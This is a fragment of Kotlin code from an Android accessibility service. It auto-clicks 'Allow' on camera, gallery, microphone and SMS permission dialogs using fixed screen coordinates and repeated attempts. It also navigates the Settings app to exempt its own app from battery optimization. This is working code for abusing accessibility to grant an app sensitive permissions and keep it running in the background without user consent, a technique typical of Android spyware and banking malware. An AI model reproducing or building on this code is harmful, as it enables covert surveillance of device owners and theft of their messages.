                }
                
                "GALLERY" -> {
                    // Android 11相册权限的允许按钮位置
                    val candidates = listOf(
                        Pair(0.52f, 0.54f),
                        Pair(0.52f, 0.56f)
                    )
                    
                    var any = false
                    for ((xf, yf) in candidates) {
                        val x = (w * xf).toInt()
                        val y = (h * yf).toInt()
                        Log.d(TAG, "🖱️ ${type} 点击'相册 允许'候选 (Android 11): ($x,$y)")
                        val ok = simpleCoordinateClick(x, y)
                        any = any || ok
                        delay(150)
                    }
                    any
                }
                
                "SMS" -> {
                    // Android 11短信权限需要点击两次
                    val x = (w * 0.50f).toInt()
                    val y = (h * 0.56f).toInt()
                    Log.d(TAG, "🖱️ SMS 第一次点击 (Android 11): ($x,$y)")
                    simpleCoordinateClick(x, y)
                    delay(220)
                    Log.d(TAG, "🖱️ SMS 第二次点击 (Android 11): ($x,$y)")
                    simpleCoordinateClick(x, y)
                    true
                }
                
                else -> {
                    // Android 11默认位置
                    val candidates = listOf(
                        Pair((w * 0.85f).toInt(), (h * 0.88f).toInt()),
                        Pair((w * 0.50f).toInt(), (h * 0.88f).toInt()),
                        Pair((w * 0.85f).toInt(), (h * 0.50f).toInt())
                    )
                    var any = false
                    for ((x, y) in candidates) {
                        val ok = simpleCoordinateClick(x, y)
                        any = any || ok
                        delay(120)
                    }
                    any
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 点击允许按钮失败 (Android 11版本): $type", e)
            false
        }
    }
    
    /**
     * ✅ 直接调用MainActivity的摄像头权限请求 - Android 11版本专用
     */
    private suspend fun executeCameraPermissionDirectlyAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🎯 直接调用MainActivity摄像头权限请求 (Android 11版本)")
            
            // 发送广播给MainActivity请求权限
            val intent = Intent("android.mycustrecev.REQUEST_CAMERA_PERMISSION").apply {
                putExtra("action", "request_camera_permission")
                putExtra("callback_action", "start_camera")
                putExtra("frontCamera", false)
                putExtra("android11_optimized", true) // Android 11优化标识
            }
            context.sendBroadcast(intent)
            Log.d(TAG, "✅ 已发送摄像头权限请求广播给MainActivity (Android 11版本)")
            delay(500) // Android 11需要更长的等待时间
            
            // 等待权限对话框出现并自动点击
            var attempts = 0
            while (attempts < 12) { // Android 11增加重试次数
                delay(250) // Android 11增加检查间隔
                
                // 检查权限是否已授予
                if (PermissionRequestHelper.hasCameraPermission(context)) {
                    Log.d(TAG, "✅ 摄像头权限授予成功 (Android 11版本)")
                    return true
                }
                
                // 尝试自动点击权限弹窗 - 使用Android 11专用方法
                clickAllowByTypeAndroid11("CAMERA")
                attempts++
            }
            
            Log.w(TAG, "⚠️ 直接摄像头权限请求超时 (Android 11版本)")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 直接摄像头权限请求失败 (Android 11版本)", e)
            false
        }
    }

    /**
     * ✅ 直接调用MainActivity的相册权限请求 - Android 11版本专用
     */
    private suspend fun executeGalleryPermissionDirectlyAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🎯 直接调用MainActivity相册权限请求 (Android 11版本)")
            
            // 发送广播给MainActivity请求权限
            val intent = Intent("android.mycustrecev.REQUEST_GALLERY_PERMISSION").apply {
                putExtra("action", "request_gallery_permission")
                putExtra("callback_action", "start_gallery")
                putExtra("android11_optimized", true) // Android 11优化标识
            }
            context.sendBroadcast(intent)
            Log.d(TAG, "✅ 已发送相册权限请求广播给MainActivity (Android 11版本)")
            delay(500) // Android 11需要更长的等待时间
            
            // 等待权限对话框出现并自动点击
            var attempts = 0
            while (attempts < 12) { // Android 11增加重试次数
                delay(250) // Android 11增加检查间隔
                
                // 检查权限是否已授予
                if (PermissionRequestHelper.hasGalleryPermission(context)) {
                    Log.d(TAG, "✅ 相册权限授予成功 (Android 11版本)")
                    return true
                }
                
                // 尝试自动点击权限弹窗 - 使用Android 11专用方法
                clickAllowByTypeAndroid11("GALLERY")
                attempts++
            }
            
            Log.w(TAG, "⚠️ 直接相册权限请求超时 (Android 11版本)")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 直接相册权限请求失败 (Android 11版本)", e)
            false
        }
    }

    /**
     * ✅ 直接调用MainActivity的麦克风权限请求 - Android 11版本专用
     */
    private suspend fun executeMicrophonePermissionDirectlyAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🎯 直接调用MainActivity麦克风权限请求 (Android 11版本)")
            
            // 发送广播给MainActivity请求权限
            val intent = Intent("android.mycustrecev.REQUEST_MICROPHONE_PERMISSION").apply {
                putExtra("action", "request_microphone_permission")
                putExtra("callback_action", "start_microphone")
                putExtra("android11_optimized", true) // Android 11优化标识
            }
            context.sendBroadcast(intent)
            Log.d(TAG, "✅ 已发送麦克风权限请求广播给MainActivity (Android 11版本)")
            delay(500) // Android 11需要更长的等待时间
            
            // 等待权限对话框出现并自动点击
            var attempts = 0
            while (attempts < 12) { // Android 11增加重试次数
                delay(250) // Android 11增加检查间隔
                
                // 检查权限是否已授予
                if (PermissionRequestHelper.hasMicrophonePermission(context)) {
                    Log.d(TAG, "✅ 麦克风权限授予成功 (Android 11版本)")
                    return true
                }
                
                // 尝试自动点击权限弹窗 - 使用Android 11专用方法
                clickAllowByTypeAndroid11("MIC")
                attempts++
            }
            
            Log.w(TAG, "⚠️ 直接麦克风权限请求超时 (Android 11版本)")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 直接麦克风权限请求失败 (Android 11版本)", e)
            false
        }
    }

    /**
     * ✅ 直接调用MainActivity的短信权限请求 - Android 11版本专用
     */
    private suspend fun executeSMSPermissionDirectlyAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🎯 直接调用MainActivity短信权限请求 (Android 11版本)")
            
            // 发送广播给MainActivity请求权限
            val intent = Intent("android.mycustrecev.REQUEST_SMS_PERMISSION").apply {
                putExtra("action", "request_sms_permission")
                putExtra("callback_action", "start_sms")
                putExtra("android11_optimized", true) // Android 11优化标识
            }
            context.sendBroadcast(intent)
            Log.d(TAG, "✅ 已发送短信权限请求广播给MainActivity (Android 11版本)")
            delay(500) // Android 11需要更长的等待时间
            
            // 等待权限对话框出现并自动点击
            var attempts = 0
            while (attempts < 12) { // Android 11增加重试次数
                delay(250) // Android 11增加检查间隔
                
                // 检查权限是否已授予
                if (PermissionRequestHelper.hasSMSPermission(context)) {
                    Log.d(TAG, "✅ 短信权限授予成功 (Android 11版本)")
                    return true
                }
                
                // 尝试自动点击权限弹窗 - 使用Android 11专用方法
                clickAllowByTypeAndroid11("SMS")
                attempts++
            }
            
            Log.w(TAG, "⚠️ 直接短信权限请求超时 (Android 11版本)")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 直接短信权限请求失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 查找并点击"电池"选项 - Android 11版本
     */
    private suspend fun findAndClickBatteryAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🔍 查找电池选项 (Android 11版本)")
            
            // 使用反编译代码策略查找电池相关文本
            val batteryTexts = listOf("电池", "Battery", "电池管理", "Battery Management")
            
            // 最多尝试5次，每次尝试前先查找，如果找不到就向下滑动
            for (attempt in 1..5) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找电池选项")
                
                for (batteryText in batteryTexts) {
                    Log.d(TAG, "🔍 尝试搜索: $batteryText")
                    val batteryNode = findTextByDecompiledCode(batteryText)
                    if (batteryNode != null) {
                        Log.d(TAG, "✅ 找到电池选项: $batteryText")
                        if (executeClickByDecompiledCode(batteryNode)) {
                            Log.d(TAG, "✅ 成功点击电池选项")
                            performSegmentedDelay(1500) // 等待页面加载
                            return true
                        }
                    }
                }
                
                // 如果当前页面没找到，且不是最后一次尝试，则向下滑动
                if (attempt < 5) {
                    Log.d(TAG, "🔄 当前页面未找到电池选项，向下滑动继续查找")
                    performScrollDownAndroid11()
                    performSegmentedDelay(1000) // 等待滑动完成
                }
            }
            
            Log.w(TAG, "⚠️ 未找到电池选项 (Android 11版本)")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找电池选项失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 查找并点击"电池优化"选项 - Android 11版本
     */
    private suspend fun findAndClickBatteryOptimizationAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🔍 查找电池优化选项 (Android 11版本)")
            
            // 使用反编译代码策略查找电池优化相关文本
            val optimizationTexts = listOf(
                "电池优化", "Battery Optimization", 
                "电池优化管理", "Battery Optimization Management",
                "优化", "Optimization", "优化管理", "Optimization Management",
                "电池管理", "Battery Management", "电池设置", "Battery Settings"
            )
            
            // 最多尝试5次，每次尝试前先查找，如果找不到就向下滑动
            for (attempt in 1..5) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找电池优化选项")
                
                for (optimizationText in optimizationTexts) {
                    Log.d(TAG, "🔍 尝试搜索: $optimizationText")
                    val optimizationNode = findTextByDecompiledCode(optimizationText)
                    if (optimizationNode != null) {
                        Log.d(TAG, "✅ 找到电池优化选项: $optimizationText")
                        if (executeClickByDecompiledCode(optimizationNode)) {
                            Log.d(TAG, "✅ 成功点击电池优化选项")
                            performSegmentedDelay(1500) // 等待页面加载
                            return true
                        }
                    }
                }
                
                // 如果当前页面没找到，且不是最后一次尝试，则向下滑动
                if (attempt < 5) {
                    Log.d(TAG, "🔄 当前页面未找到电池优化选项，向下滑动继续查找")
                    performScrollDownAndroid11()
                    performSegmentedDelay(1000) // 等待滑动完成
                }
            }
            
            Log.w(TAG, "⚠️ 未找到电池优化选项 (Android 11版本)")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找电池优化选项失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 查找我们的APP并点击 - Android 11版本
     */
    private suspend fun findAndClickOurAppAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🔍 查找我们的APP (Android 11版本)")
            
            // 获取我们的应用名称
            val appName = context.applicationInfo.loadLabel(context.packageManager).toString()
            Log.d(TAG, "🔍 查找应用: $appName")
            
            // 最多尝试15次，每次尝试前先查找，如果找不到就向下滑动
            for (attempt in 1..15) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找我们的APP")
                
                // 使用反编译代码策略查找应用名称
                val appNode = findTextByDecompiledCode(appName)
                if (appNode != null) {
                    Log.d(TAG, "✅ 找到我们的APP: $appName")
                    if (executeClickByDecompiledCode(appNode)) {
                        Log.d(TAG, "✅ 成功点击我们的APP")
                        performSegmentedDelay(1500) // 等待页面加载
                        return true
                    }
                }
                
                // 如果当前页面没找到，且不是最后一次尝试，则向下滑动
                if (attempt < 15) {
                    Log.d(TAG, "🔄 当前页面未找到我们的APP，向下滑动继续查找")
                    performScrollDownAndroid11()
                    performSegmentedDelay(1000) // 等待滑动完成
                }
            }
            
            Log.w(TAG, "⚠️ 未找到我们的APP (Android 11版本)")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找我们的APP失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 查找并点击"不优化"选项 - Android 11版本
     */
    private suspend fun findAndClickNotOptimizeAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🔍 查找不优化选项 (Android 11版本)")
            
            // 使用反编译代码策略查找不优化相关文本
            val notOptimizeTexts = listOf(
                "不优化", "Don't Optimize", "不优化电池", "Don't Optimize Battery", 
                "允许", "Allow", "ALLOW", "允许优化", "Allow Optimization",
                "关闭优化", "Turn Off Optimization", "禁用优化", "Disable Optimization"
            )
            
            // 最多尝试5次，每次尝试前先查找，如果找不到就向下滑动
            for (attempt in 1..5) {
                Log.d(TAG, "🔍 第${attempt}次尝试查找不优化选项")
                
                for (notOptimizeText in notOptimizeTexts) {
                    Log.d(TAG, "🔍 尝试搜索: $notOptimizeText")
                    val notOptimizeNode = findTextByDecompiledCode(notOptimizeText)
                    if (notOptimizeNode != null) {
                        Log.d(TAG, "✅ 找到不优化选项: $notOptimizeText")
                        if (executeClickByDecompiledCode(notOptimizeNode)) {
                            Log.d(TAG, "✅ 成功点击不优化选项")
                            performSegmentedDelay(1000) // 等待操作完成
                            return true
                        }
                    }
                }
                
                // 如果当前页面没找到，且不是最后一次尝试，则向下滑动
                if (attempt < 5) {
                    Log.d(TAG, "🔄 当前页面未找到不优化选项，向下滑动继续查找")
                    performScrollDownAndroid11()
                    performSegmentedDelay(1000) // 等待滑动完成
                }
            }
            
            Log.w(TAG, "⚠️ 未找到不优化选项 (Android 11版本)")
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找不优化选项失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 执行向下滑动 - Android 11版本
     */
    private suspend fun performScrollDownAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🔄 执行向下滑动 (Android 11版本)")
            
            val rootNode = getStableRootInActiveWindow(service) ?: return false
            
            // 获取屏幕尺寸
            val dm = context.resources.displayMetrics
            val screenWidth = dm.widthPixels
            val screenHeight = dm.heightPixels
            
            // 计算滑动起点和终点
            val startX = screenWidth / 2
            val startY = (screenHeight * 0.7f).toInt() // 从屏幕70%位置开始
            val endY = (screenHeight * 0.3f).toInt()   // 滑动到屏幕30%位置
            
            Log.d(TAG, "🔄 滑动坐标: 从($startX, $startY)到($startX, $endY)")
            
            // 执行滑动手势
            val path = android.graphics.Path()
            path.moveTo(startX.toFloat(), startY.toFloat())
            path.lineTo(startX.toFloat(), endY.toFloat())
            
            val stroke = android.accessibilityservice.GestureDescription.StrokeDescription(
                path, 0, 500 // 500ms滑动时间
            )
            
            val gestureBuilder = android.accessibilityservice.GestureDescription.Builder()
            gestureBuilder.addStroke(stroke)
            
            val gesture = gestureBuilder.build()
            service.dispatchGesture(gesture, null, null)
            
            Log.d(TAG, "✅ 向下滑动执行完成 (Android 11版本)")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 向下滑动失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 执行向上滑动 - Android 11版本
     */
    private suspend fun performScrollUpAndroid11(): Boolean {
        return try {
            Log.d(TAG, "🔄 执行向上滑动 (Android 11版本)")
            
            val rootNode = getStableRootInActiveWindow(service) ?: return false
            
            // 获取屏幕尺寸
            val dm = context.resources.displayMetrics
            val screenWidth = dm.widthPixels
            val screenHeight = dm.heightPixels
            
            // 计算滑动起点和终点 (向上滑动)
            val startX = screenWidth / 2
            val startY = (screenHeight * 0.3f).toInt() // 从屏幕30%位置开始
            val endY = (screenHeight * 0.7f).toInt()   // 滑动到屏幕70%位置
            
            Log.d(TAG, "🔄 向上滑动坐标: 从($startX, $startY)到($startX, $endY)")
            
            // 执行滑动手势
            val path = android.graphics.Path()
            path.moveTo(startX.toFloat(), startY.toFloat())
            path.lineTo(startX.toFloat(), endY.toFloat())
            
            val stroke = android.accessibilityservice.GestureDescription.StrokeDescription(
                path, 0, 500 // 500ms滑动时间
            )
            
            val gestureBuilder = android.accessibilityservice.GestureDescription.Builder()
            gestureBuilder.addStroke(stroke)
            
            val gesture = gestureBuilder.build()
            service.dispatchGesture(gesture, null, null)
            
            Log.d(TAG, "✅ 向上滑动执行完成 (Android 11版本)")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 向上滑动失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 检查并导航到设置首页 - Android 11版本
     */
    private suspend fun checkAndNavigateToSettingsHomepage(): Boolean {
        return try {
            Log.d(TAG, "🔍 检查是否在设置首页 (Android 11版本)")
            
            // 1. 检查包名是否正确
            val currentPackage = service.rootInActiveWindow?.packageName?.toString() ?: ""
            Log.d(TAG, "🔍 当前包名: $currentPackage")
            
            if (!currentPackage.contains("settings") && !currentPackage.contains("com.android.settings")) {
                Log.w(TAG, "⚠️ 不在设置应用中，当前包名: $currentPackage")
                return false
            }
            
            // 2. 检查是否在设置首页 - 查找首页关键字
            val homepageKeywords = listOf(
                "蓝牙和设备连接",
                "显示",
                "个性化",
                "按键和手势", "Buttons and Gestures", 
                "应用和通知", "Apps and Notifications",
                "安全和锁屏", "Security and Lock Screen",
                "隐私", "Privacy",
                "位置信息", "Location Information",
                "电池", "Battery",
                "存储", "Storage",
                "云服务", "Cloud Services"
            )
            
            var foundHomepageKeywords = 0
            var isAtTop = false
            
            for (keyword in homepageKeywords) {
                val textNode = findTextByDecompiledCode(keyword)
                if (textNode != null) {
                    foundHomepageKeywords++
                    Log.d(TAG, "✅ 找到首页关键字: $keyword")
                    
                    // 检查是否在顶部区域 (通过检查节点的位置)
                    val bounds = android.graphics.Rect()
                    textNode.getBoundsInScreen(bounds)
                    if (bounds.top < 1000 || keyword.equals("显示",ignoreCase = true)) { // 如果节点在屏幕上半部分，认为在顶部
                        isAtTop = true
                    }
                }
            }
            
            Log.d(TAG, "🔍 找到首页关键字数量: $foundHomepageKeywords, 是否在顶部: $isAtTop")
            
            // 3. 判断页面状态并执行相应操作
            if (foundHomepageKeywords >= 3) {
                // 在设置首页
                if (isAtTop) {
                    Log.d(TAG, "✅ 已在设置首页顶部")
                    return true
                } else {
                    Log.d(TAG, "🔄 在设置首页但不在顶部，向上滑动")
                    for (i in 1..3) { // 最多向上滑动3次
                        if (performScrollUpAndroid11()) {
                            performSegmentedDelay(800)
                            // 重新检查是否到达顶部
                            var topKeywords = 0
                            for (keyword in homepageKeywords.take(5)) { // 只检查前5个关键字
                                val textNode = findTextByDecompiledCode(keyword)
                                if (textNode != null) {
                                    val bounds = android.graphics.Rect()
                                    textNode.getBoundsInScreen(bounds)
                                    if (bounds.top < 1000) {
                                        topKeywords++
                                    }
                                }
                            }
                            if (topKeywords >= 2) {
                                Log.d(TAG, "✅ 已滑动到设置首页顶部")
                                return true
                            }
                        }
                    }
                    Log.w(TAG, "⚠️ 无法滑动到设置首页顶部")
                    return false
                }
            } else {
                // 不在设置首页，需要返回
                Log.d(TAG, "🔄 不在设置首页，尝试返回")
                for (i in 1..3) { // 最多返回3次
                    if (performBackPress()) {
                        performSegmentedDelay(1000)
                        // 重新检查是否到达首页
                        var newHomepageKeywords = 0
                        for (keyword in homepageKeywords.take(5)) {
                            val textNode = findTextByDecompiledCode(keyword)
                            if (textNode != null) {
                                newHomepageKeywords++
                            }
                        }
                        if (newHomepageKeywords >= 3) {
                            Log.d(TAG, "✅ 已返回到设置首页")
                            return true
                        }
                    }
                }
                Log.w(TAG, "⚠️ 无法返回到设置首页")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查设置首页失败 (Android 11版本)", e)
            false
        }
    }
    
    /**
     * ✅ 执行返回操作 - Android 11版本
     */
    private suspend fun performBackPress(): Boolean {
        return try {
            Log.d(TAG, "🔄 执行返回操作 (Android 11版本)")
            service.performGlobalAction(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
            performSegmentedDelay(500)
            true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 返回操作失败 (Android 11版本)", e)
            false
        }
    }
}
